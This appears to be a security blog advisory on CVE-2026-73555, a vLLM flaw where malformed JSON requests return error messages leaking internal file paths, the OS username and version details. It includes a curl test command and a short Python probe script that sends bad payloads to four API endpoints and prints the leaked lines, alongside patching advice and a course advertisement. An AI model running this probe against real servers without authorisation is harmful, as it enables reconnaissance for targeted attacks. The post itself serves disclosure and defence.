Listen to this Post
How CVE-2026-73555 Works
When the vLLM API receives a malformed request—such as invalid JSON or missing required fields—FastAPI raises a Pydantic RequestValidationError. The `validation_exception_handler` function, located in vllm/entrypoints/openai/server_utils.py, handles this exception by converting it to a string using str(exc).
This string representation inadvertently includes internal file paths and line numbers from the handler function’s traceback. While vLLM does have a `sanitize_message()` function in `vllm/entrypoints/utils.py` that strips memory addresses (e.g., 0x7f...), it does not strip `File “…”, line X` patterns. The result is a user-facing HTTP response that leaks sensitive internal system information.
An unauthenticated attacker can exploit this by sending a single malformed JSON request to any POST endpoint that accepts JSON bodies, including /v1/chat/completions, /v1/completions, /tokenize, and /detokenize. The error response reveals the OS username running the vLLM process, the home directory path, the virtual environment path, the Python version, internal package structure with line numbers, and handler function names per endpoint.
This information enables precise version fingerprinting—even when the `/version` endpoint is disabled—and aids attackers in constructing targeted exploits by narrowing the attack surface. The vulnerability is classified as CWE-209: Generation of Error Message Containing Sensitive Information and is fixed in vLLM version 0.26.0.
DailyCVE Form:
Platform: vLLM
Version: <0.26.0
Vulnerability: Information Disclosure
Severity: Medium (CVSS 5.3)
Date: 2026-08-13
Prediction: Already Patched (0.26.0)
What Undercode Say:
Check vLLM version
pip show vllm | grep Version
Test vulnerability with malformed JSON request
curl -X POST http://target:8000/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{"invalid": "json"}' \
| grep -E "File..py|line [0-9]+"
Analytics:
- Affected endpoints:
/v1/chat/completions,/v1/completions,/tokenize, `/detokenize`
– Attack vector: Network, unauthenticated - Required privileges: None
- User interaction: None
- CVSS Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`
Exploit: (Educational Purposes!)
import requests
import json
target = "http://target:8000"
endpoints = [
"/v1/chat/completions",
"/v1/completions",
"/tokenize",
"/detokenize"
]
malicious_payload = {"invalid": "json"}
for endpoint in endpoints:
resp = requests.post(
f"{target}{endpoint}",
json=malicious_payload,
headers={"Content-Type": "application/json"}
)
if "File" in resp.text and ".py" in resp.text:
print(f"[+] Leaked from {endpoint}:")
Extract file paths from error response
for line in resp.text.split("\n"):
if "File" in line and ".py" in line:
print(line.strip())
Protection:
- Upgrade to vLLM 0.26.0 or later — this is the official fix.
2. If upgrade is not immediately possible:
- Deploy vLLM behind a reverse proxy (e.g., Nginx) that rewrites error response bodies to strip file paths.
- Restrict API access through authentication mechanisms and limit exposure of error messages.
- Code-level fix (Option A — preferred): Modify `validation_exception_handler` to construct error messages from `exc.errors()` (the structured Pydantic error list) rather than using
str(exc). - Code-level fix (Option B): Add regex to
sanitize_message():import re msg = re.sub(r'File ".?", line \d+, in \w+', '[bash]', msg)
This strips `File “…”, line X` patterns similarly to how memory addresses are already stripped.
Impact:
- Confidentiality: Low — internal system paths, usernames, and software structure are exposed.
- Integrity: None — no data modification occurs.
- Availability: None — no service disruption.
Attackers can extract:
- OS username (e.g.,
ubuntu) - Home directory path (e.g.,
/home/ubuntu/) - Virtual environment path (e.g.,
vllm-env/) - Python version (e.g.,
3.12) - Internal package structure and line numbers (e.g.,
vllm/entrypoints/openai/chat_completion/api_router.py) - Handler function names per endpoint
This information aids in reconnaissance, enabling attackers to:
- Narrow the attack surface using environment paths
- Precisely fingerprint the vLLM version even when `/version` is disabled
- Plan more targeted subsequent attacks
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
